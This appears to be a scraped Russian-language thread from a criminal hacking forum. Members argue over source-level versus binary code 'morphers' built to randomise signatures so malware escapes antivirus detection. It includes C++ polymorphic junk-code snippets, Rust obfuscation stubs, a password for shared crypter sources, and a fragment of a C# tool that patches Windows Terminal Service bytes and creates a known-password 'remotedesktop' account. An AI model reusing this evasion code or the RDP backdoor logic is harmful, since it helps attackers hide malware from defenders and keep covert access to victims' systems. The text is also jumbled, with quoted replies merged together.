// полиморфная рандомная вставка в код, для рандомизации сигнатур
#ifdef __cplusplus
__forceinline void morphcode(int a) {
#else
__forceinline void morphcode(char* a) {
#endif
#ifdef __cplusplus
volatile int _morph_var = static_cast<int>(1 + MetaRandom2<0, 0x7FFFFF - 1>::value);
#else
volatile int _morph_var = a;
#endif
// делаем арифметическую операцию со случайным (времени компиляции) числом, и операндом.
// за счет того, что число известно во время компиляции, оптимизатор оставит лишь один вариант действия,
// выкинув остальные. Таким образом, одна и та же вставка будет давать всякий раз разный результат.
if (_morph_var % 3) {
_morph_var += (int)a + 2;
while (!(_morph_var % 4)) ++_morph_var;
}
else if (_morph_var % 2) {
_morph_var -= (int)a - 2;
while (!(_morph_var % 3)) ++_morph_var;
}
else if (_morph_var % 4) {
_morph_var = (_morph_var + 2) * ((int)a + 3);
while (!(_morph_var % 2))
if (_morph_var % 5)
--_morph_var;
else ++_morph_var;
}
else if (_morph_var % 5) {
_morph_var = (_morph_var + 11) / ((int)a + 23);
while (!(_morph_var % 3))
if (_morph_var % 5)
++_morph_var;
else --_morph_var;
}
}
pm me plsДанные исходники предназначены только для изучения!
После компиляции у вас будет 3 исполняемых файла: cryptor.exe, decryptor.exe, и один динамически подключаемый библиотечный файл - cryptor.dll.
Пароль: xss.pro
Оно то конечно забавно, но к чему весь этот изврат с метапрограммированием, когда можно морфить код бинарно, там и контроля гораздо больше. А в сорцах надо еще постараться сделать так, что бы оптимизатор не удалил тот треш, который ты так долго и упорно генерировал. Сейчас 99% тех "морферов" исходных кодов которые существуют работают как раз на volatile, а это как по мне - костыль в контексте морфинга. Что бы треш не удалялся можно конечно выключить оптимизации, но что делать если нужен быстрый, оптимизированный, и при всем этом полиморфный код ? Делать такие вещи на уровне сорцев - оверхед, слишком много всего нужно учитывать при слишком низком уровне контроля. В некотором смысле проще и эффективнее - брать либо уже готовый бинарик после компиляции, морфить его и затем делать пересборку, либо брать промежуточное представление кода во время компиляции, взять тот же gcc, он опенсорсный, ты спокойно можешь пересобрать его и заставить генерировать полиморфный код. Да, это не так просто (но мы же тут не для поиска легких путей собрались) , нужно знать как работает компилятор, понимать его внутренние структуры, но это открывает совершенно иные горизонты.Ну это как минимум забавно. В Плюсах безусловно мега-уебанское мета-программирование, поэтому приходится так изъебаться, используя в частности оптимизатор (который соптимизирует if, в одну ветку исходя из ГПСЧ на этапе компиляции). Я бы, естественно, просто сделал свой препроцессор для сорсов, который обфусцирует все на базе AST (типа как я ранее показывал в статье: https://xss.pro/threads/42944/ или что-то в этом духе). Но таки есть что-то прекрасное в том, как пытливый ум пытается ограничения мета-программирования обойти (хотя volatile - это читерство имхо):
C++:// полиморфная рандомная вставка в код, для рандомизации сигнатур #ifdef __cplusplus __forceinline void morphcode(int a) { #else __forceinline void morphcode(char* a) { #endif #ifdef __cplusplus volatile int _morph_var = static_cast<int>(1 + MetaRandom2<0, 0x7FFFFF - 1>::value); #else volatile int _morph_var = a; #endif // делаем арифметическую операцию со случайным (времени компиляции) числом, и операндом. // за счет того, что число известно во время компиляции, оптимизатор оставит лишь один вариант действия, // выкинув остальные. Таким образом, одна и та же вставка будет давать всякий раз разный результат. if (_morph_var % 3) { _morph_var += (int)a + 2; while (!(_morph_var % 4)) ++_morph_var; } else if (_morph_var % 2) { _morph_var -= (int)a - 2; while (!(_morph_var % 3)) ++_morph_var; } else if (_morph_var % 4) { _morph_var = (_morph_var + 2) * ((int)a + 3); while (!(_morph_var % 2)) if (_morph_var % 5) --_morph_var; else ++_morph_var; } else if (_morph_var % 5) { _morph_var = (_morph_var + 11) / ((int)a + 23); while (!(_morph_var % 3)) if (_morph_var % 5) ++_morph_var; else --_morph_var; } }
#[inline(always)] pub fn __func_17(var: i32) -> i32 { var.wrapping_mul(val!(i32)) }
#[inline(always)] pub fn __func_18(var: i32) -> i32 { var.wrapping_div(val!(i32)) }
#[inline(always)] pub fn __func_19(var: i32) -> i32 { var.wrapping_sub(val!(i32)) }
#[inline(always)] pub fn __func_20(var: i32) -> i32 { var.wrapping_add(val!(i32)) }
Это проще, даже "интеллектуальные" дизассемблеры (типа IDA Pro) иногда наебываются на разборе готовых PE-файлов, чего говорить о простых (проблема отличия кода и данных). Да и потом, у тебя все адреса абсолютных переходов поедут, если ты будешь код менять, их нужно находить все и пересчитывать.Оно то конечно забавно, но к чему весь этот изврат с метапрограммированием, когда можно морфить код бинарно, там и контроля гораздо больше.
Это как раз просто. Мурорный код с volatile можно убрать автоматически с помощью деобфускации через оптимизацию. Если мусорный код будет проводить манипуляции наб глобальными переменными, то его ни оптимизатор не сможет удалить, ни деобфускатор (если только не находить в нем заранее известные паттерны, но это не гарантирует, что ты случайно не удалишь нормальный код).А в сорцах надо еще постараться сделать так, что бы оптимизатор не удалил тот треш, который ты так долго и упорно генерировал. Сейчас 99% тех "морферов" исходных кодов которые существуют работают как раз на volatile, а это как по мне - костыль в контексте морфинга.
Основные оптимизации происходит на уровне промежуточного представления, а не выше его, руководствуясь твоей же логикой "надо еще постараться" чтобы оптимизатор ничего не вырезал.либо брать промежуточное представление кода во время компиляции, взять тот же gcc, он опенсорсный, ты спокойно можешь пересобрать его и заставить генерировать полиморфный код
Ну так сделай, как только упрешься в непреодолимую сложность, будешь морфить на уровне сосров или на уровне ассемблера.Но пока руки не дошли написать свой дизассемблер и релинкер для настройки побитых ссылок после морфинга бинаря
Тогда уже берем clang и mingw, что и делает мистер DildoFagins - был замечен так сказать)брать либо уже готовый бинарик после компиляции, морфить его и затем делать пересборку, либо брать промежуточное представление кода во время компиляции, взять тот же gcc, он опенсорсный,
это вообще даже не проблем. в контексте - x86 \ x64 - щас x86 еще поискать надо - они только в сетях предприятий где у бухалтерши вниду не переустанавливали лет 15 - потому что ей интернет по уровню IQ вообще не положено. А вот если там чего то делается с сисколами и еще накой-то хер они статически прописаны а не вычисляются динамически - тут все упадет к ебеням - ну и можно еще примеров зависимости кода от версии вниды найти - вообщем если ваш код дергает код винды который на уровне асам иммеет отлиция на разных версиях windows - то версий морферов бинаря - вам нужжно поболее чем двеНу и да, на уровне сорсов мне достаточно написать один морфер, который будет работать на любой операционной системе и на любой архитектуре процессора, на уровне асма мне придется писать как минимум два разных морфера (x86 и x64).
llvm наше всеОсновные оптимизации происходит на уровне промежуточного представления,
Для этого я и написал, что в случае бинарного морфера нужен свой линкер, который все сслылки перенастроит, так как ты сам компилируешь код, то ты можешь генерировать отладочную информацию в полном обьеме, которая поможет понять где и что нужно настраивать, а так же ОТЛИЧИТЬ код от данных. Не путай случай когда у тебя в руках неизвестный бинарь, и когда тот, который скомпилировал ты.Это проще, даже "интеллектуальные" дизассемблеры (типа IDA Pro) иногда наебываются на разборе готовых PE-файлов, чего говорить о простых (проблема отличия кода и данных). Да и потом, у тебя все адреса абсолютных переходов поедут, если ты будешь код менять, их нужно находить все и пересчитывать.
А кто тебе мешает компилятор пересобрать так, что бы твои изменения применялись после всех оптимизаций ? Или это сложно понять эксперту дилдо ? Это максимально логично, что морфинг в случае наличия оптимизаций нужно делать уже после применения оптимизаций.Основные оптимизации происходит на уровне промежуточного представления, а не выше его, руководствуясь твоей же логикой "надо еще постараться" чтобы оптимизатор ничего не вырезал.
Как по твоему работает бинарный морфер встроенный в VMProtect ? Ты хоть раз пробовал использовать VMP с его SDK, и расставить маркеры морфинга ? Не виртуализации а именно морфинга, и потом посмотри что происходит с бинариком, непреодолимая сложность говоришь ?Ну так сделай, как только упрешься в непреодолимую сложность, будешь морфить на уровне сосров или на уровне ассемблера.
Бред какой-то, зачем в морфер встраивать сисколы. Причем тут вообще сисколы ? Морфер должен выполнять одну задачу - оставлять исходную логику, но запутывать при этом код, причем главная цель не как у обфускатора, защитить приложение, а главная цель морфера - размыть сигнатуры, что бы исключить сигнатурный детект. Для этого достаточно заменять инструкции на уровне ассемблера на аналоги, заменять константы на комбинации чисел, так же добавлять junk код. Это все делается на уровне базового набора инструкций, где нет отличий на всей линейке от XP до 11 винды x86\64это вообще даже не проблем. в контексте - x86 \ x64 - щас x86 еще поискать надо - они только в сетях предприятий где у бухалтерши вниду не переустанавливали лет 15 - потому что ей интернет по уровню IQ вообще не положено. А вот если там чего то делается с сисколами и еще накой-то хер они статически прописаны а не вычисляются динамически - тут все упадет к ебеням - ну и можно еще примеров зависимости кода от версии вниды найти - вообщем если ваш код дергает код винды который на уровне асам иммеет отлиция на разных версиях windows - то версий морферов бинаря - вам нужжно поболее чем две
по моему бред как раз это. Как это оставлять ту же логику и одновременно запутывать код, если у тебя остается совсем таже логика, что ты тогдга такого там запутал?оставлять исходную логику, но запутывать при этом код
все ясно, мы просто говорим о разных совершенно вещах.что бы исключить сигнатурный детект
если вы ставите задачу снять статик детект, и ничего более. и ваш код работает только на винапи без сисколов и уже тем более вы не работаете с дровами и ядром - то все ок.Это все делается на уровне базового набора инструкций, где нет отличий на всей линейке от XP до 11 винды x86\64
namespace hyperrdp
{
class Program
{
static byte[][] patterns = new byte[][] {
new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0xB1, 0x7D, 0x02, 0x00 },
new byte[] { 0x8B, 0x99, 0x3C, 0x06, 0x00, 0x00, 0x8B, 0xB9, 0x38, 0x06, 0x00, 0x00 },
new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0x3B, 0x2B, 0x01, 0x00 },
new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0x5D, 0x61, 0x01, 0x00 },
new byte[] { 0x39, 0x81, 0x3C, 0x06, 0x00, 0x00, 0x0F, 0x84, 0x5D, 0x61, 0x01, 0x00 }
};
static byte[] replacement = new byte[] { 0xB8, 0x00, 0x01, 0x00, 0x00, 0x89, 0x81, 0x38, 0x06, 0x00, 0x00, 0x90 };
static void Main(string[] args)
{
// create a new user so we know user/pass
if (!UserExists("remotedesktop"))
CreateWindowsUser("remotedesktop", "remotedesktop");
try
{
// stop service to make changess
StopService("TermService", 10000);
скажи как мы можем получить число 10 ?по моему бред как раз это. Как это оставлять ту же логику и одновременно запутывать код, если у тебя остается совсем таже логика, что ты тогдга такого там запутал?
Оставтся теми же должны результы исполнение кода.
Мой морфер спокойно обрататывает ЛЮБОЙ код, будь то дрова, работа с сисколами и прочие вещи.если вы ставите задачу снять статик детект, и ничего более. и ваш код работает только на винапи без сисколов
Извиняюсь за глупый вопрос:
Это все одна функция, добавлены фейковые ветвления if else switch case, ложные циклы и тдИзвиняюсь за глупый вопрос:
Вот этот идовский граф показывает связи между физическими функциями или просто разбивает на логические ответвления?
То, что я не долбоеб и иду по простому пути. Хочешь идти по сложному пути - ради Бога. Но сейчас это пустозвонство, возьми, сделай, напиши об этом статью, тогда разговор будет иметь смысл.А кто тебе мешает компилятор пересобрать так, что бы твои изменения применялись после всех оптимизаций ? Или это сложно понять эксперту дилдо ? Это максимально логично, что морфинг в случае наличия оптимизаций нужно делать уже после применения оптимизаций.
Ты вполне можешь заложить 100500 условий того, как должен выглядеть бинарный код, чтобы твой морфер его схавал. Разница в том, что морфер на базе сорсов схавает куда больше проектом с куда меньшим количеством условностей.Не путай случай когда у тебя в руках неизвестный бинарь, и когда тот, который скомпилировал ты
Мне абсолютно плевать, как работаем VMProtect, в него вложена куча человеко-часов, которую мне нахер не нужно вкладывать самому.Как по твоему работает бинарный морфер встроенный в VMProtect ? Ты хоть раз пробовал использовать VMP с его SDK, и расставить маркеры морфинга ? Не виртуализации а именно морфинга, и потом посмотри что происходит с бинариком, непреодолимая сложность говоришь ?
Не мешай, если человек желает заебаться, он заебется вне зависимости от твоих советов.Какие нах дизасемблирования, че за бред.
MSVC /FAs -> питон скрипт преобразующий в fasm синтаксис -> морф -> компиляция.
Морфер, которого никто не видел.Мой морфер спокойно обрататывает ЛЮБОЙ код, будь то дрова, работа с сисколами и прочие вещи
Бля меня просто поражают такие высказывания, тебе скрины выше ничего не показали ? Или ты в шары ебешься ? Ты в упор не видишь ДО и ПОСЛЕ ? Или по твоему я нарисовал их ?Морфер, которого никто не видел.
То, что я не долбоеб и иду по простому пути. Хочешь идти по сложному пути - ради Бога. Но сейчас это пустозвонство, возьми, сделай, напиши об этом статью, тогда разговор будет иметь смысл.
Ты вполне можешь заложить 100500 условий того, как должен выглядеть бинарный код, чтобы твой морфер его схавал. Разница в том, что морфер на базе сорсов схавает куда больше проектом с куда меньшим количеством условностей.
Мне абсолютно плевать, как работаем VMProtect, в него вложена куча человеко-часов, которую мне нахер не нужно вкладывать самому.
Не мешай, если человек желает заебаться, он заебется вне зависимости от твоих советов.
Морфер, которого никто не видел.